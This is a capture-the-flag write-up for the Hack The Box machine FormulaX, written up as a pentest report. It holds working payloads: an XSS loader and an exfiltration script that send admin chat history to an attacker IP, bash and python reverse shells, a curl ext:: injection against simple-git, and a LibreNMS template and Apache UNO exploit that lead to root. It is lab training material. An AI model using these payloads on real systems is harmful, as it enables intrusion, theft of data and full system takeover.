HTB FormulaX CTF Writeup

Executive Summary

Overview

This report summarizes the findings from the penetration testing conducted on the FormulaX CTF environment, specifically targeting the server at 10.10.11.6. Our assessment identified multiple vulnerabilities across various components, including web applications, backend services, and system configurations. These vulnerabilities range in severity from medium to extreme and, if exploited, could allow unauthorized access, data exfiltration, and privilege escalation.

Key Findings

  1. Blind Cross-Site Scripting (XSS) on the web server's contact form (chatbot.htb/restricted/contact_us.html), allowing for the execution of arbitrary JavaScript code with medium severity. The recommendation includes input validation and sanitization enhancements.

  2. Admin Chatbot History Exposure through exploitation of the XSS vulnerability to retrieve sensitive chat history, revealing hidden subdomains. Classified as elevated in severity.

  3. Remote Code Execution (RCE) via the simple-git package on dev-git-auto-update.chatbot.htb, due to an outdated version susceptible to exploitation. This vulnerability requires immediate patching of the simple-git package to a secure version.

  4. Horizontal Privilege Escalation through password hash cracking and exploitation of misconfigured permissions in the librenms instance. These vulnerabilities are of elevated concern and call for file permission reviews.

  5. Environment Variables Exposure leading to unauthorized access via reused database credentials, emphasizing the need for secure credential management practices.

  6. Vertical Privilege Escalation using the ApacheUNO RCE vulnerability, allowing command execution as root through the /usr/bin/office.sh script. This represents an extreme risk and necessitates strict control over script execution privileges and the application of patches.

Recommendations

The report outlines specific steps to mitigate the identified vulnerabilities, focusing on system updates, configuration changes, and security best practices. Immediate attention is required to address the high and extreme severity issues, particularly the RCE and privilege escalation vulnerabilities. Additionally, a comprehensive review of security policies and user permissions is recommended to prevent future vulnerabilities.

Summary

The penetration test of the FormulaX CTF environment has uncovered several security issues that need immediate attention. By following the detailed recommendations provided in this report, FormulaX can significantly enhance its security posture and protect against potential threats. Continuous monitoring and regular security assessments are advised to maintain a robust defense against evolving cybersecurity challenges.

Initial Target - 10.10.11.6

Service Enumeration

IP AddressTCP Ports Open
10.10.11.622, 80

Target: Web Server (port 80)

Virtual Hosts: chatbot.htb dev-git-auto-update.chatbot.htb

HTB FormulaX CTF webserver main page
Fig. 01: HTB FormulaX CTF website main page
HTB FormulaX CTF chatbot commands
Fig. 02: HTB FormulaX CTF chatbot commands

BS01: Blind Cross-Site Scripting (XSS)

Explanation: The contact form available at http://chatbot.htb/restricted/contact_us.html presents a security flaw wherein authenticated users can send messages to the system administrator. This form fails to adequately sanitize user input, leading to a Blind Cross-Site Scripting (XSS) vulnerability. Exploitation occurs when the administrator views the submitted messages, inadvertently executing malicious JavaScript code in their browser. This vulnerability is particularly concerning because it allows an attacker to perform actions on behalf of the administrator or to access sensitive information visible to the administrator, albeit with the limitation that HttpOnly session cookies cannot be exfiltrated directly due to browser security measures.

Severity: The severity of this vulnerability is rated as Medium. This assessment is based on the potential for information disclosure and unauthorized actions within the application's context, tempered by the mitigating factor that direct session cookie theft is not possible.

Recommendation: Ensure all user input is sanitized to remove or encode characters that could be interpreted as executable code by the browser.

Steps to Reproduce:

  1. Navigate to http://chatbot.htb/static/register.html and create a new user account.
  2. Log in with the newly created credentials.
  3. Access the contact form at /restricted/contact_us.html and send the following payload:
<img src="bsec" onerror="var bsec=document.createElement('script');bsec.src='http://YOUR-TUN0-IP-ADDRESS/evil.js';document.head.appendChild(bsec);" />
  1. We can host a simple python webserver to verify the PoC: python3 -m http.server 80
  2. The message is sent, the admin opens it and we get a connection back.
HTB FormulaX CTF XSS script example
Fig. 03: XSS payload

BS02: Admin Chatbot History Exposure

Explanation: We have uncovered a vulnerability tied to the previously identified Blind Cross-Site Scripting (XSS) issue (BS01). This particular vulnerability allows for an advanced exploitation technique that leverages the XSS flaw to interact with the web application's websocket as if the attacker were the admin. This interaction enables the unauthorized retrieval of the admin's chatbot history, which was found to contain sensitive information, including the disclosure of a hidden subdomain: dev-git-auto-update.chatbot.htb.

The exposure of admin chatbot history not only compromises the confidentiality of potentially sensitive communications but also reveals internal infrastructure details that could facilitate further targeted attacks. The discovery of a hidden subdomain could lead to uncovering additional vulnerabilities within the network infrastructure.

Severity: This vulnerability has been assigned an Elevated severity rating due to the potential for unauthorized access to confidential information and the indirect exposure of internal systems.

Recommendation: Immediately address the underlying XSS vulnerability as outlined in the recommendations for BS01. Ensuring that user-supplied input is properly sanitized and validated will help prevent similar attack vectors. Also, review and secure the websocket implementation to restrict unauthorized access and ensure that sensitive operations, such as retrieving chat history, are adequately protected and accessible only to authenticated and authorized users.

Steps to Reproduce the Attack:

  1. Craft a JavaScript file (saved as evil.js) designed to be injected via the XSS vulnerability (BS01). This script incorporates the socket.io library to establish a websocket connection, enabling the attacker to masquerade as the admin and interact with the chat system programmatically. The script listens for chat messages and, crucially, issues a command to retrieve the chat history, which is then exfiltrated to the attacker's server:
// We include the socket.io script by inserting it into the head of the document in order to interact with the socket.
const socketScript = document.createElement('script');
socketScript.src = '/socket.io/socket.io.js';
document.head.appendChild(socketScript);

// Wait until the socket script is fully loaded
socketScript.addEventListener('load', () => {
    const socket = io('/', {withCredentials: true});

    // Get initial data from the server
    const res = axios.get(`/user/api/chat`);

    // Listening for the messages
    socket.on('message', (my_message) => {
        fetch('http://YOUR-TUN0-IP-ADDRESS/?' + btoa(my_message));
    });

    // Send the history command
    socket.emit('client_message', 'history');
});
  1. Launch a simple HTTP server (e.g., using Python) on your local machine to serve the malicious evil.js script: python3 -m http.server 80.

  2. Utilize the XSS vulnerability (BS01) to inject the above JavaScript payload into the web application.

  3. Monitor the server logs for incoming requests, which will contain base64-encoded chat messages as they are exfiltrated from the admin's chat history.

  4. Collect and decode the base64-encoded chat messages to reveal their plaintext content. This step confirms the successful exploitation of the vulnerability and the exposure of sensitive chatbot interactions. The encoded messages are shown below:

R3JlZXRpbmdzIS4gSG93IGNhbiBpIGhlbHAgeW91IHRvZGF5ID8uIFlvdSBjYW4gdHlwZSBoZWxwIHRvIHNlZSBzb21lIGJ1aWxkaW4gY29tbWFuZHM=

SGVsbG8sIEkgYW0gQWRtaW4uVGVzdGluZyB0aGUgQ2hhdCBBcHBsaWNhdGlvbg==

V3JpdGUgYSBzY3JpcHQgZm9yICBkZXYtZ2l0LWF1dG8tdXBkYXRlLmNoYXRib3QuaHRiIHRvIHdvcmsgcHJvcGVybHk=

V3JpdGUgYSBzY3JpcHQgdG8gYXV0b21hdGUgdGhlIGF1dG8tdXBkYXRl
Screenshot illustrating a successful blind XSS attack on HTB FormulaX CTF
Fig. 04: Successful blind XSS exploitation, showcasing the received base64 encoded messages
Screenshot illustrating the discovered hidden development subdomain on HTB FormulaX CTF
Fig. 05: Hidden development website

Initial Access

BS03: Remote Code Execution (RCE) - simple-git package, versions <3.15.0

Explanation: In the course of our security assessment, a critical Remote Code Execution (RCE) vulnerability was identified in the simple-git package, specifically affecting versions prior to 3.15.0. This vulnerability, identified due to an incomplete fix of CVE-2022-24066, allows for the execution of arbitrary code via the exploitation of the ext transport protocol within the clone() method. Notably, the dev-git-auto-update.chatbot.htb subdomain operates on the vulnerable version 3.14 of simple-git, rendering it susceptible to RCE attacks. Successful exploitation enables remote attackers to execute commands with www-data privileges, thereby granting unfettered access to the server's web files and configuration details.

Severity: The severity of this vulnerability is classified as High. The ability for an attacker to remotely execute code on the target server presents a significant risk, potentially leading to full system compromise, data breaches, and further lateral movement within the network.

Recomendation: Upgrade the simple-git package to version 3.15.0 or later, ensuring that the patched version mitigates the vulnerability. Ensure robust input validation measures are in place for all external data, particularly for functionalities that interact with system commands or external resources.

Steps to Reproduce:

  1. Create a bash script (evil.sh) designed to establish a reverse shell connection to the attacker's machine. This script will be executed on the target server upon successful exploitation.
#!/bin/bash

bash -i >& /dev/tcp/YOUR-TUN0-IP-ADDRESS/1337 0>&1
  1. Run a python webserver: python3 -m http.server 80

  2. Use netcat to listen on port 1337: nc -lvnp 1337

  3. Send a POST request using curl: curl -X POST -H "Content-Type: application/json" --data '{"destinationUrl": "ext::sh -c curl% http://YOUR-TUN0-IP-ADDRESS/evil.sh|bash"}' http://dev-git-auto-update.chatbot.htb/clone

  4. Appreciate your shell!

Screenshot illustrating vulnerabilities for simple-git
Fig. 06: simple-git vulnerabilities
Screenshot showcasing a request in burpsuite that demonstrates the RCE in simple-git software on HTB FormulaX CTF
Fig. 07: Showcasing a request in burpsuite that exploits the RCE vulnerability in simple-git
Screenshot illustrating the capture of the ICMP packets issued by a successful exploitation of the RCE vulnerability in simple-git
Fig. 08: Receiving the ICMP packets from 10.10.11.6, indicating that the exploit was successful.
Screenshot illustrating the reverse shell connection established by a successful exploitation of the RCE vulnerability in simple-git software
Fig. 09: Established reverse shell connection as www-data on 10.10.11.6

Post-Exploitation

BS04: Horizontal Privilege Escalation - Password Hash Cracking

Explanation: A significant security vulnerability was discovered in the post-exploitation phase, where the www-data user possesses unfettered access to the MongoDB instance running on port 27017 without requiring authentication. This allows for the extraction of password hashes for all users within the system. Notably, the password hash for the user frank_dorky was easily cracked, indicating a lax password policy and underscoring the potential for widespread unauthorized access through horizontal privilege escalation.

Severity: This vulnerability is rated as Elevated due to the ease with which attackers can exploit the weak password policy and gain unauthorized access to user accounts, potentially leading to further exploitation and access to sensitive information.

Recommendation: Implement and enforce robust password policies that require the use of strong, complex passwords, minimizing the risk of passwords being easily cracked. Also, configure the MongoDB instance to require authentication for access, ensuring that database interactions are securely controlled and monitored.

Steps to Reproduce:

  1. Leveraging the www-data user's access, connect to the MongoDB instance using the mongo command to interact with the database shell.

  2. List all available databases, then select the pertinent database named "testing" for further exploration: show dbs and use testing

  3. Query the users collection within the selected database to retrieve all stored user password hashes, paying particular attention to the hash associated with the user frank_dorky: db.users.find()

  4. Save the extracted password hash for frank_dorky into a local file (e.g., hash.txt) and employ hashcat, utilizing the well-known rockyou wordlist, to attempt cracking the hash: hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt

  5. Upon successful cracking of the password, utilize the credentials to log into the system via SSH as frank_dorky, thereby achieving horizontal privilege escalation.

Screenshot showcasing the enumeration of a mongo database from HTB FormulaX CTF
Fig. 10: Mongo database enumeration
Screenshot showcasing the cracking of a password hash using hashcat
Fig. 11: Password hash cracking with hashcat

BS05: Horizontal Privilege Escalation - Librenms

Explanation: A misconfiguration issue within the permissions set for the /opt/librenms directory of the Librenms monitoring tool has been unveiled. This flaw enables unauthorized users to exploit the Librenms instance, which operates on the local port 3000, by adding new users without proper administrative approval.

Moreover, attackers can leverage this misconfiguration to execute arbitrary PHP code, thereby allowing system commands to run under the privileges of the librenms user. This vulnerability presents a considerable risk, as it could lead to unauthorized access and control over the Librenms application and underlying system.

Severity: This vulnerability is categorized with an Elevated severity level due to its potential to facilitate unauthorized system access and command execution, leading to a significant impact on the confidentiality, integrity, and availability of the system.

Recommendation: Immediately review and correct the permissions for the /opt/librenms directory to prevent unauthorized modifications. Also, implement strict controls and validation checks for user creation and role assignment within Librenms to ensure only authorized administrators can add or modify user accounts.

Steps to Reproduce:

  1. Add a new user to librenms: /opt/librenms/adduser.php bsec bsec 10

  2. Use SSH tunneling to get access to librenms: ssh -L 3000:localhost:3000 [email protected]

  3. Add "librenms.com" to your /etc/hosts file to make sure everything works properly. Yours should look something like this:

127.0.0.1	localhost
::1		localhost ip6-localhost ip6-loopback ctf
ff02::1		ip6-allnodes
ff02::2		ip6-allrouters

127.0.1.1 ctf
10.10.11.6 chatbot.htb dev-git-auto-update.chatbot.htb
127.0.0.1 librenms.com
  1. Access the librenms panel at http://librenms.com:3000 and log in using your newly created credentials.

  2. Go to Alerts > Alert Templates and click to edit a random template.

  3. Back to your attacking machine terminal, create the following script:

export RHOST="YOUR-TUN0-IP-ADDRESS";export RPORT=1337;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
  1. Save the above script to "payload.sh" and base64-encode it: cat payload.sh | base64

  2. Use netcat to listen on port 1337: nc -lvnp 1337

  3. Copy the base64 encoded payload and paste in the template field using the following format:

@php
system("echo YOUR-BASE64-ENCODED-TEMPLATE | base64 -d | sh");
@endphp
  1. Click to save the template and you'll get a shell.
Librenms web login panel
Fig. 12: Librenms login panel
Adding a new admin user to librenms, by abusing misconfigured permissions for the /opt/librenms folder
Fig. 13: Adding a new admin user to librenms
Screenshot loggin in as the newly created user, bsec, to the lirenms instance
Fig. 14: Authenticated with the newly created user, "bsec".
Screenshot illustrating a malicious alert template for librenms
Fig. 15: Alert template
Screenshot illustrating the horizontal privilege escalation to the "librenms" user for HTB FormulaX CTF
Fig. 16: Established reverse shell connection as "librenms" user

BS06: Horizontal Privilege Escalation - Environment Variables

Explanation: It was identified that environment variables configured for the librenms user account contained sensitive authentication details. Notably, these variables (DB_USERNAME and DB_PASSWORD) were set to use kai_relay credentials. Further investigation revealed a security misconfiguration: the kai_relay account employs the same credentials for both database access and user authentication. This practice introduces a significant risk, as it facilitates unauthorized access and potential horizontal privilege escalation.

Severity: The severity of this finding is classified as Elevated due to the potential for an attacker to leverage these credentials to gain unauthorized access to other user accounts or sensitive data within the system. The reuse of credentials across different authentication contexts significantly increases the risk of lateral movement within the network, potentially leading to further compromise of system integrity and confidentiality.

Recommendation: Implement strict segregation of duties and credentials. Ensure that database credentials are distinct from user account passwords. This practice reduces the risk of credential reuse and potential unauthorized access. Also, it is important to note that sensitive information, such as authentication credentials, should not be stored in clear text or accessible environment variables.

Steps to Reproduce:

  1. Establish a reverse shell connection as the librenms user by following the procedure outlined in BS05. Once connected, execute the env command to display the environment variables set for the current user session.

  2. Identify and note the values of DB_USERNAME and DB_PASSWORD among the listed environment variables. Utilize these credentials to attempt an SSH login, thus demonstrating the feasibility of horizontal privilege escalation through the reuse of database authentication credentials for system access.

Screenshot showcasing the leakage of environment variables containing the credentials for kai_relay user on HTB FormulaX CTF
Fig. 17: Environment variables, leaking credentials for the "kai_relay" user
Horizontal Privilege Escalation to kai_relay user on HTB FormulaX CTF
Fig. 18: SSH session as "kai_relay"

BS07: Vertical Privilege Escalation - ApacheUNO RCE

Explanation: Apache's Universal Network Objects (UNO) framework is a critical component of Apache OpenOffice, allowing for the development of cross-language, cross-platform, and cross-technology components. It is designed for interoperability across different programming languages, component technologies, computer platforms, and networks. This architecture is integral for creating versatile and adaptable office software solutions.

In our testing environment, we discovered that the user account kai_relay is configured with sudo privileges to execute the /usr/bin/office.sh script as the root user. This script is responsible for launching LibreOffice Calc in a special mode optimized for remote control and automation tasks.

However, this configuration introduces a significant security vulnerability. It allows an attacker to exploit the Apache OpenOffice UNO API for executing arbitrary commands with root privileges. Such an attack vector is particularly concerning due to its potential for granting unauthorized access to the system's highest privilege level.

Severity: The severity is classified as Extreme due to the potential for an attacker to gain unfettered access to the system, leading to a complete compromise of its integrity, confidentiality, and availability.

Recommendations: Ensure that only essential scripts and commands can be run as root, and regularly review these permissions for security implications. Also, keep all software, especially Apache OpenOffice and its components, up-to-date with the latest security patches.

Steps to Reproduce:

  1. Prepare the Python exploit script exploit.py on the victim machine, which utilizes the UNO API to execute arbitrary commands. This script is based on the original Proof of Concept (PoC) available here:
#!/usr/bin/env python3

import argparse
import uno
from com.sun.star.system import XSystemShellExecute

COMMAND = "bash"
ARGUMENTS = "/home/kai_relay/evil.sh"

HOST = "localhost"
PORT = 2002

# Define the UNO component
localContext = uno.getComponentContext()

# Define the resolver to use, this is used to connect with the API
resolver = localContext.ServiceManager.createInstanceWithContext(
                "com.sun.star.bridge.UnoUrlResolver", localContext)

# Connect with the provided host on the provided target port
print("[+] Connecting to target...")
context = resolver.resolve(f"uno:socket,host={HOST},port={PORT};urp;StarOffice.ComponentContext")
  
# Issue the service manager to spawn the SystemShellExecute module and execute calc.exe
service_manager = context.ServiceManager
print(f"[+] Connected to {HOST}")
shell_execute = service_manager.createInstance("com.sun.star.system.SystemShellExecute")
shell_execute.execute(COMMAND, ARGUMENTS, 1)
  1. On the victim machine, in the /home/kai_relay directory, create a shell script named evil.sh with the following content to modify the permissions of /bin/bash:
#!/bin/bash

chmod +s /bin/bash
  1. Grant execution permissions to evil.sh using the command: chmod +x evil.sh.

  2. As root, execute the office script in the background: sudo /usr/bin/office.sh &.

  3. Execute the Python exploit script: python3 exploit.py.

  4. Upon successful exploitation, you will gain root privileges by running /bin/bash -p.

Screenshot showcasing the user "kai_relay" issuing the command "sudo -l" to check for permissions
Fig. 19: Details on permissions and more information regarding the office.sh script
Screenshot showcasing the Apache UNO public exploit on exploitdb
Fig. 20: Apache UNO public exploit
Screenshot showcasing the successful exploitation of Apache UNO a shell as root
Fig. 21: Successful exploitation and vertical privilege escalation

Conclusion – HTB FormulaX CTF

We hope you have found our content useful and invite you to explore more of our website to discover other interesting topics we cover. From cybersecurity to programming, we strive to provide our readers with the latest and most relevant information that can help them stay informed and ahead of the curve. We are committed to providing the best user experience to you and are open to feedback and suggestions through our contact form. Thank you for choosing Behind Security, we hope to see you again soon! 

Behind Security main logo, cropped.

BEHIND SECURITY

Behind Security is an online platform dedicated to providing informative articles on cybersecurity, privacy, and programming.

Scroll to Top